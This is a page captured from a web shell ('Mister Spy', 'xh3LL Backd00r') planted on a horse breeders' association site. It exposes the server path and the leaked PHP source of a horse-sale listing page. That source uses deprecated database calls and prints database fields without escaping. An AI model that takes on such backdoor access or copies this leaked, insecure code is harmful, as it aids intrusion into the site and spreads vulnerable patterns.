Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/animales_venta.php

<?php require_once('../Connections/cnx.php'); 
require_once('../funcs.php');
?>
<?php
$currentPage = $_SERVER["PHP_SELF"];


$filtro = "";
if(isset($_GET['tipo']) && $_GET['tipo']!="")
	$filtro = " WHERE tipo='".mysql_real_escape_string($_GET['tipo'])."'";

if(isset($_GET['animal_ventaID']) && $_GET['animal_ventaID']!="")
	$filtro = " WHERE animal_ventaID='".intval($_GET['animal_ventaID'])."'";


mysql_select_db($database_cnx, $cnx);
$query_rsAnimales_ventas = sprintf("SELECT * FROM animales_ventas %s ORDER BY animal_ventaID DESC", $filtro);
$rsAnimales_ventas = mysql_query($query_rsAnimales_ventas, $cnx) or die(mysql_error());
$row_rsAnimales_ventas = mysql_fetch_assoc($rsAnimales_ventas);
$totalRows_rsAnimales_ventas = mysql_num_rows($rsAnimales_ventas);

$queryString_rsAnimales_ventas = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsAnimales_ventas") == false && 
        stristr($param, "totalRows_rsAnimales_ventas") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsAnimales_ventas = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsAnimales_ventas = sprintf("&totalRows_rsAnimales_ventas=%d%s", $totalRows_rsAnimales_ventas, $queryString_rsAnimales_ventas);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->


<script>
<!--
function cambiar (imagen, id)
{

	if (imagen=='')
		imagen='logo_sin_imagen_big.gif';
	
	dir = "../_recursos/fotos_animales/grande/";
	
	var url_img = dir+imagen;
	
	img = new Image();
	img.src = url_img;
	img.width; //Ancho;
	img.height; //Alto;

	if (img.height > img.width) {
			
		ancho = (img.width*200)/img.height;
		alto = 200;
	
	    document.images["matrix"+id].height= alto;
	    document.images["matrix"+id].width= ancho;
	} else {
			alto = (img.height*200)/img.width;
			ancho = 200;
	
		document.images["matrix"+id].width= ancho;
	    document.images["matrix"+id].height= alto;
	}
		
    document.images["matrix"+id].src = dir+imagen;

}

function volver () 
{
    matrix.src = "mt05.jpg";
}

function verFoto(img)
{

	var dir = "../_recursos/fotos_animales/grande/"+img;
	
	img = new Image();
	img.src = dir;
	
	img.width; //Ancho;
	img.height; //Alto;
	
	//window.open(dir,'pedigree','width=' + img.width + ', height=' + img.height);
	window.open(dir,'pedigree','width=' + (img.width+20) + ', height=' + (img.height+30));
}


function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function ubicarAlMedio()
{
		// TOMO EL ANCHO Y ALTO DE LA RESOLUCION DE LA PANTALLA
		var anchoPantalla = screen.width;
		var altoPantalla = screen.height
		
		// MEDIDAS QUE TENDRA LA NUEVA VENTANA
		var ventanaAncho = 620;
		var ventanaAlto = 600;
		
		// CALCULO LA UBICACION DE LA NUEVA VENTANA
		var x = (anchoPantalla - ventanaAncho)/2;
		var y = (altoPantalla - ventanaAlto)/6;
		
		var ventana = this.window;			
		ventana.moveTo(x,y);
}

//-- ABRE LA VENTANA DEL PEDIGREE
function verPedigree(foto)
{
	var archivo = 'pop_pedigree.php?foto='+foto;
	window.open(archivo, 'pedigree', 'scrollbars=no, width=250, height=250');
}
//-->
</script>
<!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
	position:absolute;
	width:119px;
	height:33;
	z-index:1;
	left: 456px;
	top: 324px;
	visibility: visible;
}
#SubInstitucional {
	position:absolute;
	width:127;
	height:2px;
	z-index:1;
	top: 39px;
	left: -17px;
}
#Formulario {
	position:absolute;
	width:124;
	height:33;
	z-index:2;
	visibility: visible;
}
#SubFormulario {
	position:absolute;
	width:129;
	height:11px;
	z-index:1;
	top: 22px;
	left: 31px;
	visibility: hidden;
}
#Ranking {
	position:absolute;
	width:168px;
	height:34px;
	z-index:2;
	visibility: visible;
}
#Subranking {
	position:absolute;
	width:129;
	height:115px;
	z-index:1;
	top: 23px;
	left: -6px;
	visibility: hidden;
}
#Clasificatoria {
	position:absolute;
	width:114px;
	height:34px;
	z-index:3;
	visibility: visible;
}
#SubClasificatoria {
	position:absolute;
	width:118px;
	height:115px;
	z-index:4;
	left: 16px;
	top: 23px;
	visibility: hidden;
}
#Premios {
	position:absolute;
	width:79px;
	height:32px;
	z-index:4;
	visibility: visible;
}
#SubPremios {
	position:absolute;
	width:80px;
	height:22px;
	z-index:5;
	top: 23px;
	visibility: hidden;
	left: 13px;
}
#Institucional {
	position:absolute;
	width:236px;
	height:24px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#institucional {
	position:absolute;
	width:178;
	height:19;
	z-index:9;
	visibility: visible;
}
#subinstitucional {
	position:absolute;
	width:130px;
	height:115px;
	z-index:1;
	visibility: hidden;
	top: 0px;
	left: 150px;
}
#reglamentos {
	position:absolute;
	width:178;
	height:20;
	z-index:6;
	visibility: visible;
}
#subregalmentos {
	position:absolute;
	width:129px;
	height:115px;
	z-index:7;
	left: 150px;
	top: 0;
	visibility: hidden;
}
#Galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subGaleria {
	position:absolute;
	width:129;
	height:51px;
	z-index:1;
	left: 170;
	visibility: visible;
	top: 0;
}
#galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subgaleria {
	position:absolute;
	width:129;
	height:69;
	z-index:1;
}
#Layer1 {
	position:absolute;
	width:200px;
	height:115px;
	z-index:7;
}
#galeria {
	position:absolute;
	width:178;
	height:19;
	z-index:8;
}
#subgaleria {
	position:absolute;
	width:131px;
	height:60;
	z-index:1;
	visibility: hidden;
	left: 150px;
	top: 0px;
}

-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body>
<div align="center"><?php include("ssi_cabezal.php"); ?></div>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
    <td><div align="center"><!-- InstanceBeginEditable name="Flash" --><!-- InstanceEndEditable --></div></td>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
  </tr>
</table>
<?php include("ssi_botonera_nueva.php"); ?>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
    <td height="20" class="FondoBlanco">&nbsp;</td>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
          <table width="95%"  border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td height="31" colspan="2" background="images/accc_fondo_botonera.png"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="10" height="20" valign="middle">&nbsp;</td>
                    <td width="424" height="20" valign="middle" class="TituloPrincipal">Ventas  - Remates  <?php 
							
							if(isset($_GET['tipo']))
							{
								switch($_GET['tipo'])
								{
									case "1": echo " | Yegua"; break;
									case "2": echo " | Padrillo"; break;
									case "3": echo " | Castrado"; break;
									default : ;
								}
								

							}
							?></td>
                    <td width="128" valign="middle"><div align="right">&nbsp;<? if(isset($_GET['animal_ventaID']) && $_GET['animal_ventaID']!=""){ ?><a href="animales_venta.php" class="linkBlanco">[Ver todos]</a><? } ?>&nbsp;<a href="javascript:history.back();" class="linkBlanco">[volver]</a></div></td>
                    <td width="10" valign="middle" class="TituloPrincipal"><div align="right"></div></td>
                  </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td colspan="2"><?php include("ssi_animales_venta.php");?></td>
            </tr>
            <tr>
              <td colspan="2"><table width="100%" border="0" align="center" cellpadding="2" cellspacing="0" class="bordeGris">
                <tr>
                  <td width="30"><div align="center"><img src="images/vineta_tabla_45.jpg" width="18" height="14" border="0" /></div></td>
                  <td width="70"><div align="right"><strong>Filtrar por:&nbsp;</strong>&nbsp; </div></td>
                  <td><div align="left"><a href="<?=$_SERVER["PHP_SELF"]?>?tipo=1" class="linkBasico">Yegua</a>&nbsp; -&nbsp; <a href="<?=$_SERVER["PHP_SELF"]?>?tipo=2" class="linkBasico">Padrillo</a> &nbsp;- <a href="<?=$_SERVER["PHP_SELF"]?>?tipo=3" class="linkBasico">&nbsp;Castrado</a> - <a href="<?=$_SERVER["PHP_SELF"]?>" class="linkBasico">Todos</a> </div></td>
                </tr>
              </table>                </td>
            </tr>
            <tr>
              <td colspan="2"><?php do { ?>
                  <table width="100%" border="0" align="center">
                    <tr>
                      <td width="1020">                        <table width="100%" border="0" cellpadding="0" cellspacing="5">
                          <tr>
                            <td><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bordeGris">
                              <tr>
                                <td colspan="4" align="center" valign="middle"><table width="100%"  border="0" cellpadding="0" cellspacing="0">
                                  <tr>
                                    <td height="30"><div align="center" class="TextoBlanco">
                                      <table width="100%" border="0" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
                                        <tr>
                                          <td width="10">&nbsp;</td>
                                                  <td width="192" class="titulosVenta"><div align="left"><strong>
                                                      <?php if($row_rsAnimales_ventas['vendido']){ ?>
                                                      <img src="images/vendido.gif" width="91" height="35" vspace="3" border="0" />
                                                      <? } ?>
                                                      <br />
                                                  </strong>R.P.: <strong><?php echo $row_rsAnimales_ventas['rp']; ?></strong></div></td>
                                                  <td width="195" valign="bottom" class="titulosVenta"> <div align="left" class="TituloRojo"><strong><?php echo $row_rsAnimales_ventas['nombre']; ?></strong></div></td>
                                                  <td width="237" valign="bottom" class="titulosVenta">                                                    <div align="right">
                                                      <?php 
							if ($row_rsAnimales_ventas['tipo']==1)
							{
								echo "Yegua";
							}
							elseif($row_rsAnimales_ventas['tipo']==2)
							{
								echo "Padrillo";
							}
							elseif($row_rsAnimales_ventas['tipo']==3)
							{
								echo "Castrado";
							}		
							?>
                                                  </div></td>
                                                  <td width="10">&nbsp;</td>
                                                </tr>
                                        <tr>
                                          <td height="5" colspan="5">&nbsp;</td>
                                                </tr>
                                        <tr>
                                          <td colspan="5" bgcolor="#FFFFFF"><div align="center" class="FondoMarron"></div></td>
                                                </tr>
                                        </table>
                                          <strong> </strong></div></td>
                                        </tr>
                                  </table></td>
                                  </tr>
                              <tr>
                                <td width="220" height="180" align="center" valign="middle" class="bordeGrisDer"><img src="../_recursos/fotos_animales/grande/
	<?php
	if(isset($row_rsAnimales_ventas['imagen1']))
		echo $row_rsAnimales_ventas['imagen1'];
	else
		echo 'logo_sin_imagen_big.gif';

	 ?>" name="matrix<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>" id="matrix<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>"> </td>
                                    <td colspan="3" valign="middle"><table width="100%" border="0">
                                        <tr valign="middle">
                                          <td align="right" width="33%"><div align="center">
                                              <?php if ($row_rsAnimales_ventas['imagen1']!="" && file_exists('../_recursos/fotos_animales/thumb/'.$row_rsAnimales_ventas['imagen1'])) { ?>
                                              <a href="javascript:cambiar('<?php echo $row_rsAnimales_ventas['imagen1']; ?>', '<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>');"> <img src="../_recursos/fotos_animales/thumb/<?php echo $row_rsAnimales_ventas['imagen1']; ?>" border="0" /></a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                          <td align="center"  width="33%"><div align="center">
                                              <?php if ($row_rsAnimales_ventas['imagen2']!="" && file_exists('../_recursos/fotos_animales/thumb/'.$row_rsAnimales_ventas['imagen2'])) { ?>
                                              <a href="javascript:cambiar('<?php echo $row_rsAnimales_ventas['imagen2']; ?>', '<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>');"> <img src="../_recursos/fotos_animales/thumb/<?php  echo $row_rsAnimales_ventas['imagen2']; ?>" border="0" /></a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                          <td  width="33%"><div align="center">
                                              <?php if ($row_rsAnimales_ventas['imagen3']!="" && file_exists('../_recursos/fotos_animales/thumb/'.$row_rsAnimales_ventas['imagen3'])) { ?>
                                              <a href="javascript:cambiar('<?php echo $row_rsAnimales_ventas['imagen3']; ?>', '<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>');"> <img src="../_recursos/fotos_animales/thumb/<?php echo $row_rsAnimales_ventas['imagen3']; ?>" border="0" /></a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                        </tr>
                                        <tr valign="middle">
                                          <td align="right"><div align="center"></div></td>
                                          <td align="center"><div align="center"></div></td>
                                          <td><div align="center"></div></td>
                                        </tr>
                                        <tr valign="middle">
                                          <td align="right"><div align="center">
                                              <?php if ($row_rsAnimales_ventas['imagen4']!="" && file_exists('../_recursos/fotos_animales/thumb/'.$row_rsAnimales_ventas['imagen4'])) { ?>
                                              <a href="javascript:cambiar('<?php echo $row_rsAnimales_ventas['imagen4']; ?>', '<?php echo $row_rsAnimales_ventas['animal_ventaID']; ?>');"> <img src="../_recursos/fotos_animales/thumb/<?php echo $row_rsAnimales_ventas['imagen4']; ?>" border="0" /></a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                          <td align="center"><div align="center">
                                              <?php if ($row_rsAnimales_ventas['imagen5']!="" && file_exists('../_recursos/fotos_animales/thumb/'.$row_rsAnimales_ventas['imagen5'])){ ?>
                                              <a href="javascript:<? echo "verPedigree('".$row_rsAnimales_ventas['imagen5']."')";?>"><img src="../_recursos/fotos_animales/thumb/<?php echo $row_rsAnimales_ventas['imagen5']; ?>" border="0" /></a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                          <td><div align="center">
                                              <?php
							  if ($row_rsAnimales_ventas['imagen6']!="" && file_exists('../_recursos/fotos_animales/video/'.$row_rsAnimales_ventas['imagen6']))
							  {
							  ?>
                                              <a href="../_recursos/fotos_animales/video/<? echo $row_rsAnimales_ventas['imagen6']; ?>" target="_blank"> <img src="../_recursos/fotos_animales/thumb/video.gif" border="0" /> </a>
                                              <?php }else{ ?>
                                              <img src="../_recursos/fotos_animales/thumb/logo_sin_imagen_thumb.gif" />
                                              <?php }?>
                                          </div></td>
                                        </tr>
                                    </table></td>
                                  </tr>
                              </table>
                                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                  <tr>
                                    <td><div align="center"></div></td>
                                  </tr>
                                </table>
                                <table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
                                  <tr>
                                    <td height="5"><div align="center"></div></td>
                                    <td height="5"><div align="center"></div></td>
                                    <td height="5"><div align="center"></div></td>
                                  </tr>
                                  <tr>
                                    <td height="20">&nbsp;</td>
                                    <td height="20"><div align="left"><strong>Descripci&oacute;n</strong>:</div></td>
                                    <td height="20">&nbsp;</td>
                                  </tr>
                                  <tr>
                                    <td width="10">&nbsp;</td>
                                    <td><div align="left"><?php echo $row_rsAnimales_ventas['descripcion']; ?></div></td>
                                    <td width="10">&nbsp;</td>
                                  </tr>
                                  <tr>
                                    <td height="5"><div align="center"></div></td>
                                    <td height="5"><div align="center"></div></td>
                                    <td height="5"><div align="center"></div></td>
                                  </tr>
                              </table></td>
                            </tr>
                        </table></td>
                    </tr>
                    <tr>
                      <td height="15"><div align="center">
                          <table width="100%"  border="0" cellspacing="0" cellpadding="0">
                            <tr>
                              <td background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
                            </tr>
                          </table>
                      </div></td>
                      </tr>
                  </table>
                  <?php } while ($row_rsAnimales_ventas = mysql_fetch_assoc($rsAnimales_ventas)); ?>              </td>
            </tr>
            <tr valign="bottom">
              <td height="40" colspan="2"><div align="right"><a href="javascript:history.back();" class="linkVolver">[volver]</a></div></td>
            </tr>
          </table>
        <!-- InstanceEndEditable --></td>
        <td width="20" valign="top">&nbsp;</td>
<td width="130" valign="top" class="fondoGris1"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr class="FondoBlanco">
              <td height="40" valign="top" class="bordeGrisInf">                <div align="left" class="tituloNoticia"><a href="cabanias.php" class="linkMenu">Directorio de caba&ntilde;as</a></div></td></tr>
            <tr class="FondoBlanco">
              <td valign="top">&nbsp;</td>
            </tr>
            <tr>
              <td valign="top"><div align="center">
                  <?php include("ssi_cabanias.php"); ?>
              </div></td>
            </tr>
            <tr>
              <td valign="top">&nbsp;</td>
            </tr>
        </table></td>
        </tr>
    </table></td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco">&nbsp;</td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
</table>
<?php include("ssi_pie.php"); ?>

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-25020972-2']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

</body>
<!-- InstanceEnd --></html>
<?php
mysql_free_result($rsAnimales_ventas);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat